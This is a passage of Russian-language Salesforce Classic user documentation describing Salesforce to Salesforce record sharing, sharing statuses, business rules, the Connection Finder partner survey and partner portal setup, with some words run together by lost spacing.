связанными бизнес-партнерами. Общий доступ к записям предоставляется двумя
способами: перенаправление записей прямо подключениям и назначение записей
очереди подключений. Одна и та же запись может быть доступна нескольким
подключениям. Подключениядолжныпринимать записи, предоставленныедляобщего
доступа.

Прим.: Запись не может быть перенаправлена исходному подключению. В
противном случае при запуске триггеров Apex будут возникать ошибки.

Предоставление подключениям общего доступа к записи
Общий доступ к записям может быть предоставлен связанным бизнес-партнерам.
Пользователи могут перенаправлять только собственные записи или записи своих
подчиненных. Системному администратору доступно перенаправление всех записей.

Прим.: Любаяперенаправляемаязаписьинтересадолжнасодержать заполненное
поле «Название компании».

Перенаправление записей доступно только для развернутых настраиваемых
объектов.

1. Чтобы перенаправить запись и связанные с ней записи, выполните указанные ниже
действия.

• Откройте страницу сведений о нужной записи.

• Нажмитекнопкуперенаправленияв связанномсписке «Внешнийобщийдоступ».

2. Чтобы перенаправить несколько записей, выполните указанные ниже действия.

• Откройте вкладку для нужного типа записи.

• Выберите списковое представление в раскрывающемся списке «Просмотр» и
нажмите кнопку «Начать».

• Выберитенужныезаписив списковомпредставлении. Чтобывыбрать все записи,
установите флажок в заголовке столбца.

• Нажмите кнопку «Перенаправить подключениям».

3. Выберите нужные подключения в списке «Доступные подключения».

4. Чтобы переместить подключения в список «Выбранные подключения», нажмите кнопку «Добавить» ( ).

5. Чтобы отправить представителю подключения электронное уведомление о перенаправлении записи, щелкните
«Отправить электронное уведомление (только новым приглашенным)». Сообщение эл. почты отправляется
только новымполучателям записи. Подключения, которым запись перенаправлялась ранее, не получаютповторных
уведомлений.

6. Принеобходимостивыберитенужныесвязанныезаписи. Крометого, пользователимогутпредоставитьобщийдоступ
к отдельным связанным записям.

7. Нажмите кнопку «Сохранить».

Записи перенаправляются выбранным подключениям.
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Совет: Некоторыеполя, напримерполявалюты, могутбытьнекоторымобразомсоотнесеныв Salesforce to Salesforce.
Подробные сведения см. в Рекомендациях по соотнесению полей в Salesforce to Salesforce.

Предоставление общего доступа к вложениям
Вложения могут быть доступны в качестве дочерних записей любого поддерживаемого объекта. Ниже перечислены
критерии, при выполнении которых вложения принимаются подключением автоматически.

• Тип объекта «Вложение» публикуется для подключения, а подключение подписывается на объект.

• Родительская запись вложения доступна подключению.

• Вложение не является личным.

• Для вложения установлен флажок «Общий доступ с подключениями».

• Размер вложения не должен превышать 20 Мб.

Отмена общего доступа к записям
Чтобы отменить общий доступ к записи, выполните указанные ниже действия.

Прим.: Общий доступ может быть отменен только к собственным записям или записям своих подчиненных.
Системный администратор может отменить общий доступ ко всем записям.

1. Откройте страницу сведений о нужной записи.

2. Нажмите кнопку «Отмена общего доступа» в связанном списке «Внешний общий доступ».

В случае отменыобщего доступа к записи, изменения, внесенные в запись текущейорганизации, не переносятся в запись
организацииподключения. Общедоступная запись, удаленная в одной организации, сохраняется в другой организации.

СМ. ТАКЖЕ:

Предоставление общего доступа к записям с помощьюфункции Salesforce to Salesforce

Связанный список «Внешний общий доступ»
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Связанный список «Внешний общий доступ»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра статуса
внешнего общего доступа к
записи:
• «Чтение» для записи

Для отмены общего доступа
к записи:
• «Управление

подключениями»

Благодаря функции Salesforce to Salesforce, записи могут быть доступны как минимум
одному подключению, которое может принимать записи, принятые другими
подключениями. Страница сведений о записи, принятой подключением или текущим
пользователем, содержитверхнийколонтитул, которыйопределяет статус записи. Кроме
того, запись может содержать связанный список «Внешний общий доступ», в котором
отображаются сведения о подключениях, имеющих общих доступ к данной записи, а
также статус общего доступа.

Записи, доступные внешним пользователям, могут иметь один из указанных ниже
статусов.

Активно (отправлено)
Запись доступна для совместногоиспользованияипринята внешнейорганизацией.

Активно (получено)
Запись отправлена из внешней организации и принята текущим пользователем.

В ожидании (отправлено)
Запись доступна для совместного использования, но не принята внешней
организацией.

Неактивно
Запись больше недоступна внешней организации.

Неактивно (удалено)
Запись принята внешней организацией и была ею удалена.

Неактивно (преобразовано)
В качестве записи используется интерес, принятый внешней организацией и
преобразованный ею в возможность. После преобразования интереса функция
Salesforce to Salesforce делает общедоступную запись неактивной и блокирует возможность ее обновления в
подписавшемся подключении.

Прим.: Статусинтереса, измененныйвовремяпреобразования, неотображаетсявподписавшемсяподключении.

СМ. ТАКЖЕ:

Предоставление общего доступа к записям с помощьюфункции Salesforce to Salesforce

Предоставление подключению доступа к записям
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Перенаправление связанных записей подключению

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для назначения записей
подключению:
• «Чтение» и

«Редактирование» для
записи

Для перенаправления
связанных записей
подключению:
• «Чтение» и

«Редактирование» для
записи

Для отмены общего доступа
к записи:
• «Чтение» и

«Редактирование» для
записи

Функция Salesforce to Salesforce позволяет перенаправлять записи, которые являются
дочерними для общедоступных записей. Типы дочерних записей, доступных для
совместного использования, выбираются одновременно с предоставлением общего
доступа к родительской записи.

При соблюдении определенных условий доступ к дочерним записям предоставляется
автоматически в том случае, если родительская запись была принята подключением.

Обратите внимание на указанные ниже рекомендации по предоставлению общего
доступа к связанным записям.

• Связанная запись, редактируемая в записи, которая не находится в общем доступе,
становится недоступной для подключения.

• Максимальнодопустимоеколичество задачдляобщегодоступанеможетпревышать
100 на одну связанную запись. Данное число включает открытые и закрытые задачи.

Чтобыотменитьобщийдоступксвязаннойзаписинастраницесведенийородительской
записи, выполните указанные ниже действия.

1. Откройте страницу сведений о нужной родительской записи.

2. Щелкните «Управление подключениями» в столбце «Имя отправленного
подключения» связанногосписканужнойзаписи. Например, чтобыотменитьобщий
доступ к контакту, связанному с организацией, щелкните «Управление
подключениями» в связанном списке «Контакты» на странице сведений об
организации.

3. Выберите нужные подключения в списке «Выбранные подключения».

4. Чтобы переместить подключения в список «Доступные подключения», нажмите

кнопку «Удалить» ( ).

5. Нажмите кнопку «Сохранить».

Чтобы отменить общий доступ к связанной записи на соответствующей странице
сведений, выполните указанные ниже действия.

1. Откройте страницу сведений о нужной записи.

2. Нажмите кнопку «Отмена общего доступа» в связанном списке «Внешний общий
доступ».

Чтобы отменить общий доступ к комментарию по обращению или вложению, рекомендуем назначить записям статус
личных.

Предоставление подключениям общего доступа к продуктам возможности
Продукт возможностиодновременносвязанс возможностьюипродуктом. Именнопоэтому, продукт возможностиможет
быть доступен только в качестве дочерней записидляобщедоступнойвозможности, приусловии, что связанныйпродукт
также является общедоступным.

Привыполнениивсехуказанныхнижекритериевобщийдоступкпродуктамвозможностипредоставляетсяподключениям
автоматически.

• Тип объекта «Продукт возможности» публикуется для подключения, а подключение подписывается на объект.

• Возможность и продукт, связанные с продуктом возможности, доступны подключению.
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• В организации подключения: возможность связывается с активным прайс-листом во время принятия.

• В организации подключения: продукт связывается с тем же активным прайс-листом, что и возможность.

• В организации подключения: продукт активен.

• В обеих организациях: используется одинаковая валюта возможности.

Ниже перечислены дополнительные правила по предоставлению общего доступа к продуктам возможности.

• Если организация подключения использует расписания объемов продукции или расписания доходов, то поля
«Количество» и «Продажная цена» не подлежат обновлению.

• Если прайс-лист, связанный с продуктом возможности, меняется или удаляется в одной организации, то продукт
возможности становится недоступным.

• Отмена общего доступа к возможности инициирует отмену общего доступа к продукту возможности.

Прим.: В настоящее время изменение этапа нескольких возможностей, выполняемое посредством функции
глобального поиска и замены, не отображается в организациях, использующихфункцию Salesforce to Salesforce для
перенаправления записей.

Например, при использованиифункции глобального поиска и замены этап «Неактивно» всех неактивных
возможностей заменяется этапом «В процессе рассмотрения».

Измененные возможности, перенаправленные бизнес-партнеру посредствомфункции Salesforce to Salesforce, будут
отображать этап «Неактивно» в организации Salesforce партнера. Изменение этапа отображается в организации
партнера только после нажатия кнопок «Правка» и «Сохранить» в записи каждой измененной возможности.

Предоставление подключениям общего доступа к комментариям по обращению
Комментарийкобращениюможет быть доступен в качестве дочерней записиобращения. Нижеперечисленыкритерии,
при выполнении которых комментарии к обращению принимаются подключением автоматически.

• Тип объекта «Комментарий к обращению» публикуется для подключения, а подключение подписывается на объект.

• Обращение, связанное с комментарием, доступно подключению.

• Комментарий к обращению не является личным.

СМ. ТАКЖЕ:

Предоставление общего доступа к записям с помощьюфункции Salesforce to Salesforce
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Советы по использованию функции Salesforce to Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Бизнес-правила доступны в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Управление подключениями посредством настраиваемых отчетов
Рекомендуем использовать настраиваемые отчеты для отслеживания действий и
обновлений в функции Salesforce to Salesforce. Дополнительную информацию см. в
разделе «Составление отчетов в функции Salesforce to Salesforce».

Управление записями
• Если правила проверки запрещают принимать общедоступные записи, создайте

правилопроверкисполем «Имя принятого подключения», неравнымнулю. Таким
образом, правила проверки записей, принимаемых от подключений, будут
пропускаться. Чтобы создать данное правило, воспользуйтесь указанной ниже
формулой.

IF(OR(ISNEW(), ISNULL(Id)), if(ConnectionReceivedId =null,
TRUE, FALSE),NOT(AND(ISCHANGED(ConnectionReceivedId),
NOT(ConnectionReceivedId = null))))

Подобное правило должно быть создано для любого триггера Apex, охваченного проверкой.

• Чтобы просмотреть записи, используемые совместно с подключениями, создайте настраиваемый отчет. Например,
чтобысоздатьнастраиваемыйотчет, содержащийвсеобщедоступныеинтересы, которыебылиудаленыподключением,
выполните указанные ниже действия.

– Выберите тип отчета «Интересы и подключения».

– Введите критерий фильтрации «"Статус" равно "Неактивно (удалено)"».

• Чтобыпросмотретьнепринятыезаписиотподключений, создайтенастраиваемоесписковоепредставление. Например,
создайте списковое представление, отображающее непринятые интересы от подключений только за последний
месяц.

Прим.: Создание данных списковых представлений доступно только при наличии полномочия «Управление
подключениями».

• Объекты, предоставленные подключениями для совместного использования, доступны только пользователям с
полномочием «Управлениеподключениями». Рекомендуемсоздатьнастраиваемыесписковыепредставления, которые
могут быть назначены нужным пользователям.

• Чтобы принять большое количество записей от подключения, установите флажок «Автопринятие» напротив
соответствующихобъектовна странице1701. Например, чтобырегулярноприниматьбольшоеколичествоинтересов
от подключения, установитефлажок «Автопринятие» напротив объекта «Возможность» на странице «Добавить или
удалить подписанные объекты».
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• Чтобы просмотреть изменения, внесенные подключением, включите функцию отслеживания полей объекта и
добавьте связанный список «Журнал» в макеты страниц. Также можете создать настраиваемый отчет по журналу,
содержащий поле «Имя принятого подключения».

• Чтобыавтоматическиназначатьвсе входящиеинтересыилиобращенияконкретномупользователю, создайтеправило
назначения, содержащее следующие записи:

– Поле «Имя принятого подключения» содержит имя подключения

– Поле «Создано» содержит пользователя подключения

Эти же действия могут быть применены к правилам расширения.

• Чтобы назначить обращение подключению с помощью правила расширения обращения, рекомендуем назначить
обращение очереди, участником которой является данное подключение. Например, чтобы расширить обращения,
соответствующие заданным критериям, для подключения, выступающего в качестве сторонней службы, выполните
указанные ниже действия.

– Создайте очередь, содержащую данное подключение.

– Создайте правило расширения с соответствующими критериями.

– Добавьтедействиерасширения, котороеавтоматическиназначаеточередиобращения, соответствующиезаданным
критериям.

Прочие советы
• Чтобы узнать, используют ли потенциальные партнеры систему Salesforce, воспользуйтесь приложением Connection

Finder.

• В случае преобразования интереса функция Salesforce to Salesforce деактивирует общедоступную запись и обновляет
статусв связанномспискеинтересаподключения «Внешнийобщийдоступ» назначение «Неактивно (преобразовано)».
Ввиду деактивации общедоступной записи, изменения в статусе преобразуемого интереса не переносятся в интерес
подключения.

• Дополнительную информацию об использовании бизнес-правил для автоматического обновления записей и
подключений в функции Salesforce to Salesforce см. в разделе «Использование бизнес-правил в функции Salesforce to
Salesforce».
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Составление отчетов в функции Salesforce to Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Бизнес-правила доступны в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Рекомендуем создать настраиваемые отчеты для отслеживания действий и обновлений
в функции Salesforce to Salesforce.

Система поддерживает неограниченные возможности использования настраиваемых
отчетов для эффективного управления подключениями Salesforce to Salesforce. Ниже
перечислены некоторые способы использования настраиваемых отчетов в функции
Salesforce to Salesforce.

• Чтобы просмотреть действия и другие сведения о подключении, создайте
настраиваемыйотчетнаосноветипаотчета «Подключениясорганизациями». Данный
отчет отображает только подключения, связанные с организациями.

• Чтобы просмотреть сведения о подключении для каждого опубликованного или
подписанного объекта, создайте типы настраиваемых отчетов.

• Чтобы просмотреть записи, доступные нескольким подключениям, создайте
настраиваемый отчет. Чтобы просмотреть записи, доступные нескольким
подключениям, в списковом представлении, добавьте поле «Имя отправленного
подключения» в текущее или новое представление и убедитесь, что расширенные
списки не поддерживаются.

• Чтобы просмотреть все общедоступные интересы, удаленные подключениями,
создайте настраиваемыйотчет на основе типа отчета «Подключения с интересами».

Использование бизнес-правил в функции Salesforce to Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Бизнес-правила доступны в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Рекомендуем использовать бизнес-правила для автоматического обновления записей
и подключений в функции Salesforce to Salesforce.

Ниже перечислены условия выполнения бизнес-правил для записей, предоставленных
посредством функции Salesforce to Salesforce.

• Принятие родительской записи

• Вставка дочерней записи

• Подписка на поля, инициирующие выполнение бизнес-правил

Нижеперечисленынекоторыерекомендациипоприменениюкритериевбизнес-правил
для функции Salesforce to Salesforce.

• Поле «Имя принятого подключения» дляинтересов, возможностейинастраиваемых
объектов

• Значение поля «Текущий пользователь»: pnet.

• Значение поля «Последнее изменение сделано»: «Пользователь подключения»

Например, чтобы создавать задачи для пользователя при каждом обновлении интереса
подключением, выполните указанные ниже действия.

1. Создайте бизнес-правило со следующими критериями:

• Критерий оценки: Оценить правило, если запись: создано и изменено

• Применять правило при значении «критерии выполняются».

• Критерий правила: «"Интерес: Последнее изменение сделано" равно "Пользователь подключения"».

2. Добавьте задачу бизнес-правила.
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Бизнес-правила могут использоваться многими процессами Salesforce to Salesforce, включая обновление значений
раскрывающихсясписковприредактированииполяподключением. Нижеперечисленыполя, инициирующиевыполнение
бизнес-правил при принятии записи.

Прим.: Если организация поддерживает автоматическое принятие записей, то бизнес-правила инициируются
любым полем, на которое подписан пользователь.

Поля, инициирующие бизнес-правилаОбъект

Организация • Имя организации

• Город

• Страна

• Имя принятого подключения

• Имя отправленного подключения

• Область

• Тип

Обращение • Номер обращения

• Приоритет

• Статус

• Тема

• Тип

Контакт • Эл. почта

• Фамилия

• Почтовый адрес

• Тел.

• Должность

Интерес • Компания

• Эл. почта

• Отрасль

• Интерес

• Источник интереса

• Имя

• Количество сотрудников

• Тел.

• Имя принятого подключения

• Имя отправленного подключения

• Область

• Статус

• Должность
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Поля, инициирующие бизнес-правилаОбъект

Возможность • Имя организации

• Стоимость

• Дата закрытия

• Имя

• Имя принятого подключения

• Имя отправленного подключения

• Этап

Настраиваемый объект • Имя подключения

• Имя

• Дата отправки

Все последующие обновления, внесенные в поля принятых записей, будут инициировать бизнес-правила.

Прим.: В некоторых случаях лучше использовать триггер Apex вместо бизнес-правила. Предположим, имеется
бизнес-правило, которое обновляет вторичное поле, поле B, при обновлении поля A. Даже если ваш партнер
Salesforce to Salesforce подписан на поля A и B, обновления для поля B, которые инициируются бизнес-правилом, не
будут отправлены организации партнера. Это предотвращает зацикливание обновлений.

Если нужно, чтобы обновления вторичного поля отправлялись партнерам Salesforce to Salesforce, замените
бизнес-правило триггером Apex, который использует логику post-commit для обновления вторичного поля.

Проверка бизнес-партнеров на использование системы Salesforce

Общие сведения о приложении Connection Finder

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Организация Salesforce может быть связана с организацией партнера, использующего
систему Salesforce, чтобы предоставить пользователям общий доступ к записям и
возможность сотрудничества над важными бизнес-процессами. Прежде чем связывать
организации, рекомендуем выяснить, используют ли партнеры систему Salesforce.
Приложение Connection Finder позволяет отправить партнерам сообщение эл. почты,
содержащее простой опрос на предмет использования системы Salesforce. Полученные
ответы заносятся в записи организаций и контактов для каждого партнера. Партнеры,
статускоторыхизвестен, могутбытьприглашеныкподключениюпосредствомфункции
Salesforce to Salesforce.

СМ. ТАКЖЕ:

Запрос на предмет использования партнерами системы Salesforce

Настройка приложения Connection Finder

Советы и дополнительные рекомендации по использованию приложения Connection Finder
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Настройка приложения Connection Finder

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения приложения
Connection Finder и
редактированияпараметров:
• «Изменение всех

данных»

ПриложениеConnection Finderпозволяетотправлять сообщения эл. почты, содержащие
опрос на предмет использования партнерами системы Salesforce.Партнеры, статус
которых известен, могут быть приглашены к подключению посредством функции
Salesforce to Salesforce.

Чтобы воспользоваться приложением Connection Finder, рекомендуем выполнить
указанные ниже действия.

1. Включите приложение Connection Finder в организации.

2. Настройте параметры приложения Connection Finder.

3. Чтобы добавить кнопку «Поиск подключений» в списковое представление
контактов, настройте макет поиска. Чтобы добавить кнопку на страницу сведений о
контакте, настройте макет страницы контактов.

4. Добавьте поле «Использует Salesforce» в макет страницы контактов.

5. Добавьте поле «Клиент Salesforce» в макет страницы организаций.

Прим.: Поля «Использует Salesforce» и «Клиент Salesforce»

отображаются в записях контактов и организаций на любом настроенном
клиентском или партнерском портале.

Включение приложения Connection Finder

Чтобы активировать приложение Connection Finder, выполните указанные ниже действия.

1. Введите строку «Connection Finder» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт
«Параметры Salesforce to Salesforce» «Connection Finder».

2. Нажмите кнопку «Правка».

3. Установите переключатель «Включено».

4. Нажмите кнопку «Сохранить».

Параметрыприложения Connection Finder доступныдля настройки. Кроме того, система создает стандартныйшаблон эл.
почты и обязательные связанные поля, которые доступны для использования.

Прим.: ОтключениеприложенияConnection Finderинициируетотменувыполняющихсяопросовиудалениекнопки
«Поиск подключений». Поля «Использует Salesforce» и «Клиент Salesforce» сохраняются в записях
контактов и организаций.

Настройка параметров приложения Connection Finder

Чтобы определить содержимое и внешний вид сообщения эл. почты, отправляемого партнерам, выполните указанные
ниже действия.

1. Введите строку «Connection Finder» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт
«Параметры Salesforce to Salesforce» «Connection Finder».

2. Нажмите кнопку «Правка».

3. Выберите шаблон эл. почты.

Стандартныйшаблон Connection Finder выбирается автоматически. При необходимости создайте настраиваемые
шаблоны эл. почты для опроса.
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Прим.: Настраиваемые шаблоны эл. почты должны содержать URL-адрес опроса. Поле слияния
{!Contact.PartnerSurveyURL} доступноприсозданиишаблоновв качествеполя слияниядля контактов.

4. При необходимости выберите логотип посредством поиска.

Прим.: Загрузителоготипна вкладку «Документы» иустановитефлажок «Доступен внешне как изображение».

Компания Salesforce рекомендует использовать фирменный логотип, отображающийся вверху страницы опроса. В
противном случае область страницы опроса, предназначенная для логотипа, отображается пустой.

5. Нажмите кнопку «Сохранить».

Запрос на предмет использования партнерами системы Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для отправки партнерам
сообщения эл. почты,
содержащего опрос на
предмет использования
системы Salesforce:
• «Отправка эл. почты»

(один получатель)

ИЛИ

«Пакетная электронная
рассылка» (несколько
получателей)

Организация Salesforce может быть связана с организацией партнера, использующего
систему Salesforce, чтобы предоставить пользователям общий доступ к записям и
возможность сотрудничества над важными бизнес-процессами. Прежде чем связывать
организации, рекомендуем выяснить, используют ли партнеры систему Salesforce.
Приложение Connection Finder позволяет отправить партнерам сообщение эл. почты,
содержащее простой опрос на предмет использования системы Salesforce. Полученные
ответы заносятся в записи организаций и контактов для каждого партнера. Партнеры,
статускоторыхизвестен, могутбытьприглашеныкподключениюпосредствомфункции
Salesforce to Salesforce.

1. Выберите нужных партнеров в списковом представлении «Контакты» и нажмите
кнопку «Поиск подключений». При необходимости нажмите кнопку «Поиск
подключений» на странице сведений о контакте.

Прим.: Нижеперечисленыусловия, привыполнениикоторыхкнопка «Поиск
подключений» не отображается.

• Запись контакта содержит недопустимый адрес эл. почты

• Контакт не связан с организацией

Есликонтактомявляетсяорганизация-лицо, токнопка«Поискподключений»
отображаетсявсписковомпредставлении, новозвращаетсообщениеобошибке.
Кнопка «Поиск подключений» не отображается на странице сведений о
контакте.

2. Введите тему сообщения эл. почты.

3. Измените текст стандартного шаблона. Чтобы выбрать другой шаблон эл. почты,
щелкните «Изменитьшаблон».

Прим.: Стандартныйшаблон эл. почты выбирается администратором. При необходимости выберите другой
шаблон или измените стандартный текст и добавьте следующий URL-адрес опроса:
{!Contact.PartnerSurveyURL}.

Текст не может быть изменен при выборе нескольких получателей.

4. Чтобы проверить текст на наличие ошибок, нажмите кнопку «Проверить орфографию».

5. Чтобы открыть сообщение эл. почты для предварительного просмотра, нажмите кнопку «Предварительный
просмотр».
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6. Нажмите кнопку «Отправить».

Сообщение эл. почтыотправляется выбраннымпартнерам, которыедолжнывоспользоваться ссылкойнаопрос в течение
90 дней. Ответ партнера регистрируется в поле «Использует Salesforce» записи контакта партнера, а также в поле
«Клиент Salesforce» записи организации. Кроме того, контакту назначается закрытое действие.

Совет: Компания Salesforceрекомендует создатьнастраиваемое списковоепредставлениеилинастраиваемыйотчет,
позволяющий отслеживать все ответы клиентов в одном месте.

Если организация партнера использует систему Salesforce, то опрос содержит дополнительный раздел на наличие
полномочий администратора Salesforce. Получатель, который не является администратором, может указать контактные
данные администратора, которые используются системой Salesforce для создания записи контакта.

Прим.: Данный раздел не отображается, если организация содержит контакт партнера, который при ответе на
вопрос «Использует Salesforce» выбрал значение «Да, являюсь пользователем-администратором».

Советы и дополнительные рекомендации по использованию приложения Connection Finder

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

• Создайте настраиваемое списковое представление или настраиваемый отчет для
отслеживания ответов опроса в одном месте. Добавьте поле «Использует
Salesforce» в списковые представления и отчеты по контактам. Добавьте поле
«Клиент Salesforce» в списковые представления и отчеты по организациям.

• Создайтепереведенныеверсиистандартногошаблона Connection Finder дляотправки
зарубежным партнерам. Клонируйте стандартныйшаблон, внесите необходимые
языковые изменения и добавьте URL-адрес опроса:
{!Contact.PartnerSurveyURL}. Принеобходимостивыберитенужныйшаблон
во время отправки запросов партнерам.

Прим.: Страница опроса отображается на английском языке, но содержит
раскрывающийся список «Язык», позволяющий выбрать нужный язык.

• При созданииправил проверки для поля «Использует Salesforce» рекомендуемиспользовать значение API, а не
метку, отображающуюся в пользовательском интерфейсе. Например:

CONTAINS(TEXT(UseSalesforce ), 'YesNotAdmin')

Значение APIЗначение раскрывающегося списка «Использует
Salesforce»

NoНет

NoResponseНе знаю

NotSureНе уверен

YesAdminДа, являюсь пользователем-администратором

YesNotAdminДа, не являюсь пользователем-администратором

• Еслипартнер указывает сведенияоб администраторе Salesforce, то система Salesforceпроверяет организацию Salesforce
на наличие контакта, использующего данный адрес эл. почты. В этом случае полю контакта «Использует
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Salesforce» задается значение «Да, являюсь пользователем-администратором». Поле, которому задано значение
«Нет», не обновляется.

Прим.: Партнер может добавить администратора, при условии, что администратор не является контактом
организации.

• Значение поля «Клиент Salesforce» определяется значениями поля контактов «Использует Salesforce».

Участие в социальных сетях посредством Salesforce

Общие сведения о приложении Salesforce for Twitter and Facebook

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Приложение Salesforce for Twitter and Facebook позволяет использовать систему Salesforce
для взаимодействия со своими текущими и потенциальными клиентами в режиме
реального времени посредством их профилей Twitter и Facebook.

Пользователи приложения Salesforce for Twitter and Facebook могут искать, отслеживать,
присоединятьсяиотправлятьответына важные сообщения социальных сетей — прямо
из системы Salesforce. Также доступны указанные ниже действия.

• Поиск новых мнений о компании

• Создание обращений, контактов и интересов из заметок Twitter и настенных
сообщений или комментариев Facebook

• Предоставление участникам сообществ Twitter и Facebook общего доступа к данным

• Просмотр миллионов высказанных мнений, заданных вопросов и обращений за помощью

Чтобы включитьподдержку Salesforce for Twitter and Facebook, загрузите бесплатноеприложениеиз каталогаAppExchange.
Дополнительную документацию по приложению Salesforce for Twitter and Facebook см. в разделе «Ресурсы» списка
приложений.
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Сотрудничество с партнерами для увеличения продаж

Просмотр и добавление партнеров

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Все
выпуски для организаций,
активированные до лета
2009 г.

Доступно в версиях:
Выпуски Group,
Professional, Enterprise,
Performance, Unlimited,
and Developer для
организаций,
активированные до лета
2009 г.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления партнеров
в организацию:
• «Редактирование» для

организаций

И

«Чтение» для
возможностей

Для добавления партнеров
в возможность:
• «Чтение» для

организаций

И

«Редактирование» для
возможностей

Связанный список «Партнеры», доступный на страницах сведений о возможностях и
организациях, позволяет просматривать и добавлять партнеров.

• Чтобы просмотреть сведения об организации для отдельного партнера, щелкните
имя нужного партнера в связанном списке «Партнеры».

• Чтобы удалить партнера, щелкните ссылку «Удал.» напротив нужного партнера.

Прим.: Изменение организации для возможности, имеющей партнеров,
инициирует удаление всех партнеров из связанного списка «Партнеры».

• Чтобы добавить партнера в возможность или организацию, выполните указанные
ниже действия.

1. Нажмите кнопку «Создать» в связанном списке «Партнеры».

2. Чтобы выбрать основного партнера возможности, установите флажок
«Основной».

Возможность может иметь только одного основного партнера. Выбор нового
основного партнера автоматически отменяет статус «Основной» для текущего
основного партнера.

Данныйстатуспозволяетиспользоватьпартнеравовсехотчетахповозможностям.

3. Введите имя текущей организации в столбце «Партнер» или найдите другую
организациюпосредством значкапоиска. Чтобысоздатьорганизацию, нажмите
кнопку «Создать» в диалоговом окне поиска.

4. Выберите нужную роль организации-партнера в столбце «Роль».

Прим.: Выборпартнерадляорганизациииливозможностиавтоматическисоздает
обратные отношения партнеров, поэтому обе организации являются друг другу
партнерами. Выбранная роль применяется к организации-партнеру; в текущей
организации используется обратная роль.

Администратор определяет доступные роли и соответствующие обратные роли
при редактировании значения раскрывающегося списка «Роль партнера».

Чтобы настроить столбцы, отображаемые в связанном списке, администратор
должен изменить макет страницы. .
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Предоставление партнерам общего доступа к данным

Общие сведения о партнерском портале

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Прим.: Начиная с выпуска Summer'13 партнерский портал недоступен для новых
организаций. Текущиеорганизациимогутиспользоватьпорталвобычномрежиме.
При отсутствии партнерского портала общий доступ к данным может быть
предоставлен партнерам посредством сообществ.

Текущиеорганизации, поддерживающиепартнерскиепорталы, могутпродолжить
использование собственных партнерских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Функция управления отношениями с партнерами позволяет компаниям значительно
увеличитьрентабельностьинвестицийиуровеньдоходовпоканалампутемуправления,
отслеживанияипрогнозированияпрямыхпродажипродажпоканалам. Крометого, даннаяфункцияпозволяетпартнерам
повысить эффективность продаж, увеличить количество закрытых сделок и оптимизировать показатели прибыли.

Благодаряпредоставлениюпартнерамдоступакданным Salesforce, компанияможетувеличитьобъемыпродажисократить
текущие расходы. При этом, компания может контролировать предоставляемый уровень доступа к данным, а также
внешнийвидприложения, используемогопартнерами. Чтобывоспользоватьсяэтимиимногимидругимивозможностями,
предоставьте партнерам доступ к партнерскому порталу Salesforce.

Партнерский портал позволяет пользователям-партнерам выполнять вход в систему Salesforce посредством отдельного
веб-сайта. Пользователям-партнерам отображаются только доступные им данные. Более того, пользователи-партнеры
могут управлять данными только при наличии соответствующих полномочий.

Веб-портал позволяет настраивать фирменный стиль компании, а также многочисленные функции и параметры
безопасности, включая единую регистрациюна порталах, благодаря которой партнеры могут выполнять вход в систему
Salesforce посредством одних регистрационных данных. При необходимости компания может создать несколько
партнерских порталов.
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Создание организаций-партнеров

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
организаций:
• «Чтение» для

организаций

Для создания организаций:
• «Создание» для

организаций

Для включения
организации-партнера:
• “Управление внешними

пользователями»

Прим.: Начиная с выпуска Summer'13 партнерский портал недоступен для новых
организаций. Текущиеорганизациимогутиспользоватьпорталвобычномрежиме.
При отсутствии партнерского портала общий доступ к данным может быть
предоставлен партнерам посредством сообществ.

